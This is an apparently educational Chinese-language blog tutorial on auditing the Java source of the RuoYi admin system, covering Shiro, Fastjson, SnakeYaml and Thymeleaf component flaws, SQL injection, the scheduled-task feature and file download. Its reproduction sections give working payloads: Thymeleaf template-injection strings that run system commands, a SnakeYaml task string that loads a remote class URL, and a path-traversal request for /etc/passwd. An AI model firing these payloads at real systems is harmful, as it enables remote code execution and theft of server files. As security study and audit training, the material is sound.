java代码审计-若依系统
环境搭建:
使用idea进行环境搭建。
导入数据库之后。
启动环境。
代码审计:
第三方组件漏洞审计
本项目使用Maven构建的。因此我们直接看pom.xml文件引入了哪些组件。通过IDEA打
开该若依,发现本项目采用了多模块方式。根据这些组件漏洞的版本,然后去判断是否存在该漏洞。
组件漏洞代码审计
Shiro反序列化漏洞
本项目使用了 Shiro 1.4.2 。Shiro在 1.4.2 到 1.8.0 版本都是存在权限绕过的问
题。在代码审计中,我们主要关注 Shiro配置文件 ,一般文件名为 ShiroConfig 。本项目Shiro配置文件位于 RuoYi-v4.2\ruoyi-
framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java
。进入Shiro配置文件,我们关注对资源访问的拦截器配置,位于 第231行 ~ 276行 。发现 第272行 作者使用了 /** 表达式,对路径进行拦截。因此,本项目不存在Shiro权限绕过的漏洞的。如下图所示:
关于shiro的拦截匹配模式,Shiro的URL路径表达式为Ant格式有如下解释:
/hello:只匹配url,比如 http://7089.com/hello
/h?:只匹配url,比如 http://7089.com/h+任意一个字符
/hello/*:匹配url下,比如 http://7089.com/hello/xxxx 的任意内容,不匹配多个路
径
/hello/**:匹配url下,比如 http://7089.com/hello/xxxx/aaaa 的任意内容,匹配多
个路径
漏洞复现:
在看Shiro配置文件时,发现了Shiro密钥硬编码写在了代码文件中。代码位于 RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java
,第331行。
在黑盒测试中,我们常使用爆破的方式来探测目标是否使用了常见的弱密钥。
但在代码审计我们可以直接通过搜索关键字 setCipherKey ,来看看密钥是否硬编码在了代码中。攻击者在知道了密钥后,就可以构造恶意payload,经过序列化、AES加密、base64编码操作加工后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。既然我们从代码处知道了密钥,那么我们就可以直接对他进行反序列化攻击了。
fastjson组件漏洞代码审计
本项目使用了 Fastjson 1.2.60 , Fastjson <= 1.2.68 都是存在漏洞的。
已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数 parse 和 parseObject 。搜索关键字发现本项目使用了 parseObject ,如下图所示:
我们发现本项目使用的是 JSONObject.parseObject 方法,与第三套迷你天猫商城
中 JSON.parseObject() 方法有所不同。JSONObject是一个继承自JSON的类,当调
用JSONObject.parseObject(result)时,会直接调用父类的parseObject(String
text)。两者也没什么区别,一个是用父类去调用父类自己的静态的parseObject
(String text),一个是用子类去调用父类的静态parseObject(String text),两者调的
是同一个方法。也是可以触发Fastjson反序列化漏洞的。
下面我们追踪下流程,看看是否有接收用户输入的地方。
①、双击进入 VelocityUtils.java ,第66行。代码如下图所示:②、从代码中看到 JSONObject.parseObject(options); 需要一个参数为
options ,该参数通过第65行发现来自 genTable.getOptions(); ,ctrl加鼠标左键
跟进, getOptions() 返回值为 options ,如下图所示:
③、继续跟进 options ,根据作者注释理解这是一个 其它生成选项 的字段。如下图
所示:
④、我们回过头来,追溯下功能点。跟进 setTreeVelocityContext ,发现是
prepareContext 中调用了它,如下图所示(为了便于截图展示,删除了部分代
码):
其中涉及到了一个判断条件,跟进一下,看如何触发该条件。跟进
GenConstants.TPL_TREE ,看到定义了一个常量字符为 tree 。如下图所示:
再跟进下 tplCategory ,该值来自于 genTable.getTplCategory(); 如下图所示:
进入 genTable.getTplCategory(); 后,看到 getTplCategory() 返回值就是
tplCategory ,如下图所示:
继续跟进 tplCategory ,根据作者注释,这应该是是一个使用模板的字段。该字段应
该有两个值,一个是 crud ,一个是 tree 。所以我们再找到功能点时,应该将这个
字段值设为 tree ,如下图所示:
中间穿插跟了下判断条件,我们继续追踪功能点。
⑤、回到 prepareContext() 方法,我们看下谁调用了他,发现
GenTaleServiceImpl.java 中第187行和250行都有所调用,如下图所示:
⑥、单击进入 GenTaleServiceImpl.java 第187行,发现是 previewCode 方法使
用了 VelocityUtils.prepareContext(table); ,其中 table参数 来自
genTableMapper.selectGenTableById(tableId); 根据 tableId 查询表信息返
回的数据,如下图所示:
也就是说,我们只能操控 tableId 参数。继续跟踪一下 previewCode ,如下图所
示:
⑦、(此处省略跳转到genTableService,无关紧要)ctrl加鼠标左键点击
previewCode 继续跟进,跳转到了 GenController 层,发现是 preview 使用了
genTableService.previewCode(tableId); 。如下图所示:
并且通过注释信息了解到该功能是 预览代码 ,路径是 /tool/gen/preview ,从路径中获取 tableId 。既然这样,这条链是没办法利用Fastjosn反序列化漏洞了。
梅开二度,找条别的链,继续试试。追踪了刚才搜索的四个点,发现 GenTaleServiceImpl.java 第286行这个参数是我们可以操控的。
追踪流程如下。
②、跟进 genTable.getParams() ,跳转到了 BASEEntity.java 代码中,因为
Gentable 继承 BASEEntity 。根据判断条件,如果 params不等于null 的话,直接
返回 params 。跟进 params ,注释表明该字段为 请求参数 ,并且 params 被定义
成 Map<String, Object> ,可以理解为params字段中可以传任何类型的值在里面。
如下图所示(为便于截图展示,删除了部分代码):
③、回到 GenTaleServiceImpl.java ,查看谁调用了 validateEdit ,跳转到了
IGenTaleService 第99行处,如下图所示:
④、继续跟进 validateEdit ,跳转到了 GenController 层第142行,如下图所
示:至此,我们将这条链追踪完了。确定了功能点为代码生成处的 修改保存生成业务 ,我们主要关注 params 这个字段。
漏洞复现:
SnakeYaml组件漏洞代码审计
SnakeYaml在Java中,是用于解析YAML格式的库。
在第三方组件漏洞审计处,确定了SnakeYaml版本为1.23,被定为存在漏洞。
事实上,SnakeYaml几乎全版本都可被反序列化漏洞利用。
漏洞简介:
SnakeYaml支持反序列化Java对象,所以当 Yaml.load() 函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。
全局搜索漏洞函数关键字,发现本项目并没有使用到 Yaml.load() 函数,如下图所
示:
提前透露下,该漏洞可以和本项目定时任务配合打出RCE效果。
在这之前,请大家拓展学习下篇文章,补一下基础。
https://www.mi1k7ea.com/2019/11/29/Java-
SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
该部分漏洞验证将在渗透测试漏洞挖掘章节中配合定时任务功能进行讲述。
漏洞复现:
Thymeleaf组件漏洞代码审计
在第三方组件漏洞审计时,了解到Thymeleaf组件版本为 2.0.0 ,该版本存在SSTI(模板注入)漏洞。
关于什么是Thymeleaf,推荐学习这篇文章:
https://waylau.gitbooks.io/thymeleaf-
tutorial/content/docs/introduction.html
2.4.1、什么是SSTI(模板注入)漏洞
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。
所谓的模板即为 模板引擎 。
本项目使用的Thymeleaf是众多模板引擎之一。还有其他Java常用的模板引擎,如:
velocity,freemarker,jade等等。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)
分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模
板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函
数里,然后生成模板加上用户数据的前端html页面,然后反馈给浏览器,呈现在用户面
前。
模板注入(SSTI)漏洞成因,是因为服务端接收了用户的恶意输入以后,未经任何处理
就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执
行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、
GetShell 等问题。
2.4.2、Thymeleaf模板注入漏洞简介
Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用
th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在
Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执
行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。
如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏
洞。因为 @ResponseBody 和 @RestController 不会进行View解析而是直接返回。
所以这同样是修复方式。
2.4.3、发现SSTI(模板注入)漏洞点
我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入
的地方。主要关注xxxController层代码。
在Controller层,我们关注两点: 1、URL路径可控。 , 2、return内容可控。
所谓可控,也就是接受输入。对应上面两个关注点,举例说明如下。
1、URL路径可控
@RequestMapping("/hello")
public class HelloController {
@RequestMapping("/whoami/{name}/{sex}")
public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}
2、return内容可控
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
视角转回到本项目。
根据上面两个关注点,对 若依v4.2 进行了一番探索。并没有发现存在Thymeleaf模板
注入漏洞点。
但在 若依v4.7.1 发现存在 return内容可控 的情况。为了学习该漏洞,下面以 若依
v4.7.1 版本进行Thymeleaf模板注入代码审计学习。
在 若依v4.7.1 的 RuoYi-v4.7.1\ruoyi-
admin\src\main\java\com\ruoyi\web\controller\monitor 下多了一个
CacheController.java 文件。该文件下有多个地方 Return内容可控 ,如下图所
示:
简单理解:接收到 fragment 后,在return处进行了模板路径拼接。
根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别
为 /getNames , /getKeys , /getValue 。请求方法为 POST ,请求参数均为
fragment 。
知道了这些内容,我们在渗透测试部分进行漏洞验证。
系统还有存在其他漏洞点,大家可以自由发挥找一找。
漏洞复现:
①、先登录DNSlog平台,获取一个DNSlog地址。
1、类的构造方法为Public
2、类的构造方法无参
3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型
4、调用目标方法除了为Public,无参,还需要具有执行代码/命令的能力
②、然后进入后台,访问 系统监控-定时任务 功能,点击新增,在目标字符串下添加如
下内容(即攻击payload):
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["ftp://此处填入DNSlog地
址"]]]]')
在代码审计处,我们发现 若依v4.7.1 存在Thymeleaf模板注入漏洞,并且存在return内容可控的漏洞点,我们通过渗透测试角度进行漏洞验证。
Thymeleaf模板注入payload举例:
return内容可控:
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}__::.x
URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x
本次漏洞验证我在Windows环境下进行的。
⚠ 注意: 若依v4.7.1 搭建部署与 若依v4.2 相同,数据库导入务必使用 sql 目录
下的 ry_20210924.sql 和 quartz.sql 。先导入 ry_20210924.sql 。
return内容可控:
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}__::.x
URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x
我们以 getKeys 接口为例,该漏洞点为 return内容可控 ,具体漏洞验证如下。
①、正常启动项目,进入后台。我们发现在 系统监控 下有个 缓存监控 的功能,和代
码审计发现的 CacheControlle 代码文件中功能注释一样。初步确定两者相同。
②、访问缓存监控功能。进入后,分别点击 缓存列表 和 键名列表 旁的刷新按钮,会
分别想 getNames , getKeys 接口发送数据。如下图所示
③、将数据包发送到Repeater模块,在 fragment 参数后构造攻击payload为 __${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe")
}__::.x ,对paylod进行URL编码后。发送数据包。响应报错,而且并没有弹出来计算
器。如下图所示:
因此,我们刚开始用的Payload是被限制了。
经过一顿操作猛如虎,其实谷歌就能有。
我们将Payload改造一下,如 ${T
(java.lang.Runtime).getRuntime().exec("calc.exe")} 。在T和(之间多加几个
空格即可。
对Payload进行URL编码后,放入 fragment 参数中,可以看到弹出了计算器,如下图
所示:
至此,漏洞验证部分结束。
希望大家在这基础上,进一步学习Thymeleaf模板注入漏洞。直接推荐一篇文章:
web漏洞
SQL注入漏洞
单点漏洞代码审计首当其冲当然要先看SQL注入漏洞是否存在,全局搜索关键字 $ ,并限定文件类型为 .xml ,发现 sysDeptMapper.xml 和 sysUserMapper.xml 有存在SQL注入的地方,如下图所示:
挑个幸运的Mapper小伙伴,追踪下流程,找到他的注入点。
那就选择 SysRoleMapper.xml 这个吧,刚刚搜索结果他们没在一起。如下图所示:
②、点击左侧箭头快速跳转到DAO层(IDEA中需要安装Free Mybatis plugin插件),如下
图所示
③、键盘按住Ctrl加鼠标左键,点击 selectRoleList ,查看谁调用了它。最终来到
SysRoleServiceImpl 的实现层,如下图所示:
④、进入 SysRoleServiceImpl 后,再回溯到 SysRoleService 层,可使用左侧快
速跳转按钮。或者选中 selectRoleList 后使用快捷键 ctrl+u ,如下图所示:
⑤、键盘按住Ctrl加鼠标左键,点击 selectRoleList ,回溯到 Controller 层,最
终发现是 SysRoleController 调用了这个方法,如下图所示:
⑥、点击进入,最终定位到
src\main\java\com\ruoyi\web\controller\system\SysRoleController.jav
a ,第58行和第68行都有调用,如下图所示:
⑦、键盘按住Ctrl加鼠标左键,点击 SysRole ,进入看看定义了哪些实体类,其中发
现了 DataScope ,如下图所示:
⑧、回顾追溯流程
回顾下整理流程,如下所示:
sysRoleMapper.xml -> SysRoleMapper.java -> SysRoleServiceImpl.java -
> ISysRoleService.java -> SysRoleController.java
简单说,我们从 XxxxMapper 文件追踪到 Controller 层,主要就是在找漏洞入口。
顺带看看整个流程是否对参数有特殊处理。
⑨、汇总信息
最后,我们将追溯的过程,以及有用的信息汇总一下。
通过Controller层,我们可以知道,漏洞URL路径为 /system/role/list
通过Service层和Controller层的注释,我们大致知道该功能位于角色信息处。
大致知道这些信息后,下一步访问WEB页面,找找这个功能,并通过渗透测试验证一
下。
剩下几个还存在SQL注入漏洞的地方,追溯过程留作业给你们。务必动手操作,加深印
象。举一反三,形成笔记后,并提交到对应的作业处。
漏洞复现:
①、访问 角色管理 功能,通过点击下面的各个按钮,并配合BurpSuite抓包,发现 搜
索 功能,会向 /system/role/list 接口发送数据,如下图所示:
④、直接上SQLMAP,不多费时了,最终结果如下图所示:
定时任务功能漏洞代码审计
在项目简介中,我们了解到本项目中有使用到定时任务功能。
又根据官方文档的文件结构处,我们了解到本项目定时任务功能在 ruoyi-quartz 模
块下,使用的是 quartz 框架。如下图所示:
进入 ruoyi-quartz 模块 src\main\java\com\ruoyi\quartz 下,我们先关注
controller 文件代码。我们知道 Controller 也是控制层,主要负责具体的业务模
块流程的控制,简单说就是与前台互交,接受前台传来的参数后,再向 Service层 传
输。
打开 controller 文件下,有两个代码文件,分别是 SysJobController 和
SysJobLogController 。根据代码注释了解了大致作用,如下图所示:
现在,我们对 SysJobController下的run方法 进行追踪,根据注释该方法为任务调
度立即执行一次,如下图所示:
Ctrl加鼠标左键点击 jobService.run(job) ,进入Service层后,无其他执行代码,继
续跟踪到实现层,最终代码位于 RuoYi-v4.2\ruoyi-
quartz\src\main\java\com\ruoyi\quartz\service\impl\SysJobServiceImpl
.java 第180行到188行。如下图所示:
第182,183行作用为通过调度任务ID查询调度信息。
第185行,实例化了 JobDataMap 。 JobDataMap 通过它的超类
org.quartz.util.DirtyFlagMap 实现了java.util.Map 接口,你可以向 JobDataMap 中存入键/
值对,那些数据对可在你的 Job 类中传递和进行访问。这是一个向你的 Job 传送配置
的信息便捷方法。简单说,Job 运行时的信息保存在 JobDataMap 实例中。
最终在第187行,使用 scheduler.triggerJob(JobKey var1, DataMap var2) 为
触发标识JobDetail(立即执行)。 JobDetail 用来描述Job的实现类及其它相关的静
态信息,如Job名字、描述、关联监听器等等信息。其中 triggerJob() 方法需要两
个参数,分别为 Jobkey 和 dataMap 。 dataMap 来自上面输入的运行时信息。而此
处的 Jobkey 是JobDetail创建的的唯一标识。简单说,到了这就开始执行定时任务
了。
但最终方法的调用是在 QuartzDisallowConcurrentExecution 或
QuartzJobExecution 中用 JobInvokeUtil.invokeMethod(sysJob); 反射完成
的。
QuartzDisallowConcurrentExecution 或 QuartzJobExecution 两者区别根据代
码注释可以知道一个禁止并发执行,一个允许并发执行。这两个参数也是可以从前端中
设置的。但不论那种,最终都是调用的 JobInvokeUtil.invokeMethod(sysJob); 。
进入 JobInvokeUtil.invokeMethod(sysJob); ,最终方法实现如下图所示:
解读一下。
①、第25行到28行,为获取处理数据,打个端点可以直观看出来,如下图所示(建议自
己动手操作看一下):
②、第30到39行,有一个判断。若依支持两种方式调用,分别为支持 Bean 调用和
Class 类调用。此处判断我理解为通过 beanname 判断是否为有效的classname。也
就是调用目标字符串是使用 bean 方式调用,还是使用 Class 方式调用。
此处,可以创建两种方式的目标字符串后,在 if
(!isValidClassName(beanName)) 处打个断点,分别执行跟踪一下,就能看明白
了。
另一种调用方式,大家动手自己打个断点操作一下。进入管理系统,访问 系统监控 -
定时任务 ,选择bean方式调用的任务,点击 更多操作 - 执行一次 。
至此,定时任务流程到这就结束了。他是如何RCE的呢?老规矩,在渗透测试部分我们
进行验证。
漏洞复现:
工具验证:
任意文件读取/下载漏洞
一般开发人员也都有比较好的习惯,对于注释方面写的也比较清楚。
我拿到一个项目,习惯大致浏览下项目代码(主要看注释),梳理下功能。
在本项目中,发现存在一处下载功能。
代码位于 RuoYi-v4.2\ruoyi-
admin\src\main\java\com\ruoyi\web\controller\common\CommonController
.java 第96行-第111行。通过注释一目了然该部分代码的作用。如下图所示:
通过全局搜索关键字 resourceDownload ,发现并没有其他功能调用它。我们可以自己去构造方法然后去下载。
①、首先,漏洞代码点位于第118行,使用了 FileUtils.writeBytes() 方法输出指
定文件的byte数组,即将文件从服务器下载到本地。其中该函数中有两个参数,分别为 downloadPath 和 response.getOutputStream() 。
getOutputStream() 方法用于返回Servlet引擎创建的字节输出流对象,Servlet程序可以按字节形式输出响应正文。
②、 downloadPath 来自第103行,是由 localPath 和
StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); 组
成。StringUtils.substringAfter() 方法为取得指定字符串后的字符串。 resource
是请求中接收参数的字段。 Constants.RESOURCE_PREFIX 为设置的常
量 /profile ,主要作用为资源映射路径的前缀。
③、 localPath 来自第101行注释为 本地资源路径 ,通过打个端点,我们可以看到
localPath: D:/ruoyi/uploadPath ,是从
src\main\resources\application.yml 配置文件中第12行文件路径中获取的。如
下图所示:
④、通过第96行,知道接口路径为 /common/download/resource ,仅接受GET请求。
⑤、通过第97行, String resource 知道接收参数值的为 resource 。
汇总下信息。首先应该知道,处理整个文件流程,是没有任何防护的。
根据接口路径和接收参数字段组合为 /common/download/resource?resource= 。根据 StringUtils.substringAfter() 方法为取得指定字符串后的字符串,其中指
定的字符串为 /profile 。也就是取得 /profile 之后的字符串。
漏洞复现:
那么最终,漏洞Payload为 http://127.0.0.1/common/download/resource?
resource=/profile/../../../../etc/passwd 。
REF
https://blog.csdn.net/qq_44029310/article/details/125296406
- 点赞
- 收藏
- 关注作者
评论(0)